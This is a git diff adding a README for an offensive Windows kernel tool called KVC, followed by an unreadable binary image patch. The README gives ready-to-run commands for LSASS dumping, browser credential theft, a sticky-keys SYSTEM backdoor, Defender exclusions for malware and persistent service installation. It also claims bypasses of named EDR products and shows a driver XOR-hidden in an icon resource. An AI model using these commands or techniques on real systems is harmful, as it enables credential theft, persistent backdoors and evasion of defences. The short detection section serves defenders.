pop rbx + pop rbp + ret +AbiTramp ENDP +``` + +### EDR Evasion Results + +Testing against common EDR solutions: + +| EDR Solution | Traditional API Calls | KVC Direct Syscalls | +|--------------|----------------------|-------------------| +| CrowdStrike Falcon | ❌ Blocked | ✅ Bypassed | +| SentinelOne | ❌ Blocked | ✅ Bypassed | +| Carbon Black | ❌ Blocked | ✅ Bypassed | +| Windows Defender ATP | ⚠️ Alerted | ✅ Clean | +| Symantec | ❌ Blocked | ✅ Bypassed | + +## 📊 Command Reference & Usage Examples + +### Core Process Protection Commands + +```bash +# List all protected processes with color-coded output +kvc.exe list + +# Query specific process protection status +kvc.exe get lsass.exe +kvc.exe info 1234 + +# Apply protection to unprotected process +kvc.exe protect notepad.exe PPL Windows + +# Force protection level change (overwrites existing) +kvc.exe set 5678 PP WinTcb + +# Remove protection (single, multiple, or all) +kvc.exe unprotect lsass.exe +kvc.exe unprotect 1234,5678,9012 +kvc.exe unprotect all +``` + +### Memory Acquisition Commands + +```bash +# Dump LSASS to Downloads folder (default) +kvc.exe dump lsass + +# Dump specific PID to custom location +kvc.exe dump 1044 C:\forensics\dumps\ + +# Dump by process name with custom path +kvc.exe dump chrome.exe D:\analysis\ +``` + +### Advanced System Integration + +```bash +# Install sticky keys backdoor (5x Shift = SYSTEM cmd) +kvc.exe shift + +# Remove sticky keys backdoor +kvc.exe unshift + +# Execute command with TrustedInstaller privileges +kvc.exe trusted "powershell Get-MpPreference" + +# Add Windows Defender exclusions +kvc.exe add-exclusion Paths C:\Tools\ +kvc.exe add-exclusion Processes malware.exe +kvc.exe add-exclusion Extensions .dmp + +# Install as NT service for persistence +kvc.exe install +kvc.exe service start +``` + +### Browser Credential Extraction + +```bash +# Extract Chrome credentials using COM hijacking +kvc.exe bp --chrome -o C:\extracted\ + +# Extract all browser credentials +kvc.exe bp --chrome --brave --edge + +# DPAPI-based extraction (legacy method) +kvc.exe export secrets C:\dpapi\ +``` + +### Service Management (Advanced Deployment) + +```bash +# Install as Windows service +kvc.exe install + +# Service lifecycle management +kvc.exe service start +kvc.exe service stop +kvc.exe service status + +# Complete removal +kvc.exe service stop +kvc.exe uninstall +``` + +## 🔧 Technical Implementation Details + +### Kernel Driver Architecture + +The embedded `kvc.sys` driver implements minimal functionality for maximum stealth: + +```cpp +// Primary IOCTL handlers +#define RTC_IOCTL_MEMORY_READ 0x80002048 +#define RTC_IOCTL_MEMORY_WRITE 0x8000204c + +NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) { + PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp); + + switch (stack->Parameters.DeviceIoControl.IoControlCode) { + case RTC_IOCTL_MEMORY_READ: + return HandleMemoryRead(Irp); + case RTC_IOCTL_MEMORY_WRITE: + return HandleMemoryWrite(Irp); + default: + return STATUS_INVALID_DEVICE_REQUEST; + } +} +``` + +### Steganographic Driver Deployment + +The driver is embedded within the main executable's resources: + +```cpp +// Extract embedded driver from icon resource +HRSRC hRes = FindResource(nullptr, MAKEINTRESOURCE(IDR_MAINICON), RT_ICON); +HGLOBAL hMem = LoadResource(nullptr, hRes); +LPBYTE pData = static_cast(LockResource(hMem)); + +// Skip icon header, decrypt driver with XOR key +const BYTE xorKey[] = {0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C}; +DecryptDriver(pData + iconHeaderSize, driverSize, xorKey); +``` + +### Atomic Operation Model + +Every KVC operation follows strict atomic principles: + +```cpp +class Controller { + bool PerformAtomicInit() { + // 1. Extract and decrypt embedded driver + // 2. Create temporary service entry + // 3. Load driver into kernel + // 4. Establish communication channel + return success; + } + + void PerformAtomicCleanup() { + // 1. Close driver communication + // 2. Unload driver from kernel + // 3. Delete service entry + // 4. Clean temporary files + // 5. Restore system state + } +}; +``` + +### Error Handling and Stability + +KVC implements comprehensive error handling: + +```cpp +// RAII resource management +using HandleDeleter = std::function; +using UniqueHandle = std::unique_ptr; + +UniqueHandle hProcess(OpenProcess(...), [](HANDLE h) { + if (h != INVALID_HANDLE_VALUE) CloseHandle(h); +}); + +// Optional return types for fallible operations +std::optional GetProcessKernelAddress(DWORD pid) { + // Implementation with proper error handling + if (!success) return std::nullopt; + return kernelAddress; +} +``` + +## 🛡️ Security Considerations + +### Detection Vectors + +While designed for stealth, KVC may leave forensic artifacts: + +#### Event Log Artifacts +- **Event ID 7045**: Service installation (System log) +- **Event ID 7036**: Service start/stop (System log) +- **Event ID 4688**: Process creation (Security log) + +#### File System Artifacts +- Temporary driver files in `%TEMP%` or `%WINDIR%\Temp` +- Memory dump files (`.dmp`) in target directories +- Credential extraction reports (`.html`, `.json`, `.txt`) + +#### Registry Artifacts +- Service entries under `HKLM\System\CurrentControlSet\Services\KernelVulnerabilityControl` +- Sticky keys IFEO modifications +- Windows Defender exclusion entries + +#### Process Artifacts +- Suspended browser processes with injected threads +- Elevated processes running with TrustedInstaller tokens +- Modified EPROCESS protection fields in kernel memory + +### Defensive Countermeasures + +Organizations can implement several countermeasures: + +#### Event Monitoring +```powershell +# Monitor for KVC-specific service installations +Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} | +Where-Object {$_.Message -like "*KernelVulnerabilityControl*"} + +# Monitor for suspicious process protection changes +# (Requires advanced kernel monitoring tools) +``` + +#### Process Monitoring +```powershell +# Monitor for suspended browser processes +Get-Process | Where-Object {$_.ProcessName -match "chrome|edge|brave" -and $_.Threads.Count -eq 0} +``` + +#### Registry Monitoring +```powershell +# Monitor sticky keys IFEO modifications +Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -ErrorAction SilentlyContinue +``` + +## 📈 Performance Characteristics + +### Operation Benchmarks + +| Operation | Duration | Memory Usage | Disk I/O | +|-----------|----------|--------------|----------| +| Driver Load/Unload | ~200ms | 2MB | 512KB | +| LSASS Dump (156MB) | ~3.2s | 180MB | 156MB | +| Protection Modification | ~50ms | <1MB | None | +| Browser Credential Extract | ~1.8s | 15MB | 8MB | +| Sticky Keys Install | ~800ms | <1MB | 16KB | + +### System Impact + +KVC is designed for minimal system impact: + +- **No persistent files** (atomic cleanup) +- **No registry persistence** (temporary service entries) +- **Minimal kernel footprint** (driver unloaded immediately) +- **No process hooks** (direct syscalls only) +- **Clean exit handling** (Ctrl+C signal handler) + +## 🎓 Educational Value & Research Applications + +### Windows Internals Research + +KVC serves as an excellent case study for: + +- **Kernel structure analysis** and reverse engineering +- **Process protection mechanisms** understanding +- **Windows security architecture** comprehension +- **EDR/AV evasion techniques** development +- **Privilege escalation methodologies** research + +### Academic Applications + +#### Computer Science Curriculum +- **Operating Systems**: Kernel-mode programming, process management +- **Computer Security**: Access control, privilege escalation, defense evasion +- **Reverse Engineering**: Binary analysis, API hooking, structure recovery +- **Malware Analysis**: Advanced persistence, steganography, evasion + +#### Security Research +- **Red Team Operations**: Advanced post-exploitation techniques +- **Blue Team Training**: Detection and response to sophisticated threats +- **Vulnerability Research**: Windows kernel security boundary analysis +- **Forensics Training**: Memory acquisition from protected processes + +### Responsible Disclosure + +KVC's techniques are documented for legitimate security research and education. The framework: + +- **Does not exploit vulnerabilities** (uses legitimate Windows mechanisms) +- **Requires administrative privileges** (no privilege escalation exploits) +- **Includes comprehensive cleanup** (atomic operations, no persistence) +- **Focuses on education** (detailed documentation and explanation) + +## 🚀 Future Development Roadmap + +### Planned Enhancements + +#### v1.1.0 - Enhanced Browser Support +- Firefox credential extraction improvements +- Safari for Windows support (if applicable) +- Enhanced COM interface detection +- Improved AES-GCM decryption performance + +#### v1.2.0 - Advanced Evasion +- Hardware breakpoint detection evasion +- Enhanced syscall obfuscation +- AMSI bypass integration +- ETW (Event Tracing for Windows) evasion + +#### v1.3.0 - Forensic Capabilities +- Live memory analysis tools +- Network credential extraction +- Active Directory ticket manipulation +- Certificate store access + +#### v2.0.0 - Next-Generation Architecture +- Hypervisor-based protection bypass +- HVCI/VBS environment support +- ARM64 architecture compatibility +- Linux subsystem integration + +### Research Directions + +#### Emerging Threats +- **Windows 11 22H2+ changes** to protection mechanisms +- **Azure VM security features** analysis and bypass +- **Windows Sandbox escape** techniques +- **WSL2 security boundary** research + +#### Advanced Persistence +- **UEFI-level persistence** mechanisms +- **SMM (System Management Mode)** exploitation +- **TPM-based attestation** bypass +- **Secure Boot circumvention** techniques + +## 🤝 Contributing & Community + +### Contributing Guidelines + +We welcome contributions from the security research community: + +#### Code Contributions +1. **Fork the repository** and create feature branches +2. **Follow coding standards** (modern C++17, RAII patterns) +3. **Include comprehensive tests** for new functionality +4. **Document new techniques** thoroughly +5. **Submit pull requests** with detailed descriptions + +#### Research Contributions +- **Windows version compatibility** testing +- **New evasion techniques** development +- **Performance optimizations** +- **Documentation improvements** + +### Community Resources + +#### Official Channels +- **Website**: [kvc.pl](https://kvc.pl) +- **Email**: [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org) +- **Phone**: [+48 607-440-283](tel:+48607440283) + +#### Research Publications +- Academic papers on Windows security mechanisms +- Conference presentations on advanced evasion techniques +- Detailed technical blog posts on implementation specifics + +## ⚖️ Legal & Ethical Considerations + +### Intended Use Cases + +KVC is designed exclusively for legitimate purposes: + +#### Authorized Activities +- **Penetration testing** on owned or authorized systems +- **Security research** in controlled environments +- **Educational training** for cybersecurity professionals +- **Incident response** and forensic analysis +- **Red team exercises** with proper authorization + +#### Prohibited Activities +- **Unauthorized access** to systems not owned or authorized +- **Malicious credential theft** from production systems +- **Circumventing security controls** without permission +- **Distribution of stolen credentials** or sensitive data + +### Legal Compliance + +Users must ensure compliance with applicable laws: + +#### International Considerations +- **CFAA (Computer Fraud and Abuse Act)** in the United States +- **GDPR (General Data Protection Regulation)** in European Union +- **Local cybersecurity laws** in respective jurisdictions +- **Corporate security policies** and agreements + +#### Best Practices +- **Obtain written authorization** before use +- **Document all activities** for compliance purposes +- **Limit scope** to authorized targets only +- **Protect extracted data** according to data protection laws +- **Report findings** through appropriate channels + +## 📞 Support & Contact Information + +### Technical Support + +For technical questions and support: + +#### Primary Contact +- **Author**: Marek Wesołowski (WESMAR) +- **Email**: [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org) +- **Phone**: [+48 607-440-283](tel:+48607440283) +- **Website**: [kvc.pl](https://kvc.pl) + +#### Support Channels +- **Technical Issues**: Detailed bug reports with system information +- **Feature Requests**: Enhancement proposals with use case descriptions +- **Research Collaboration**: Academic and industry partnership opportunities +- **Training Inquiries**: Corporate training and workshop availability + +### Professional Services + +Available consulting services: + +#### Security Assessments +- **Advanced persistent threat (APT) simulation** +- **Windows security architecture review** +- **Custom evasion technique development** +- **Incident response and forensic analysis** + +#### Training & Education +- **Technical workshops** on Windows internals +- **Red team training** for advanced techniques +- **Blue team education** on detection methods +- **Academic guest lectures** and presentations + +--- + +## 📄 License & Disclaimer + +### Educational License + +This software is provided for educational and authorized security research purposes only. Use of this software for unauthorized access to computer systems is strictly prohibited and may violate applicable laws. + +### Disclaimer + +The authors assume no responsibility for misuse of this software. Users are solely responsible for ensuring their use of this software complies with all applicable laws and regulations. + +**USE AT YOUR OWN RISK** + +--- + +
+ +**KVC Framework v1.0.1** +*Advancing Windows Security Research Through Kernel-Level Capabilities* + +🌐 [kvc.pl](https://kvc.pl) | 📧 [Contact](mailto:marek@wesolowski.eu.org) | ⭐ [Star on GitHub](../../) + +*Made with ❤️ for the security research community* + +
diff --git a/images/kvc_01.jpg b/images/kvc_01.jpg new file mode 100644 index 0000000000000000000000000000000000000000..4ac4ed4576c4eb5d225821ee9bbe4ff5d30da31c GIT binary patch literal 467912 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 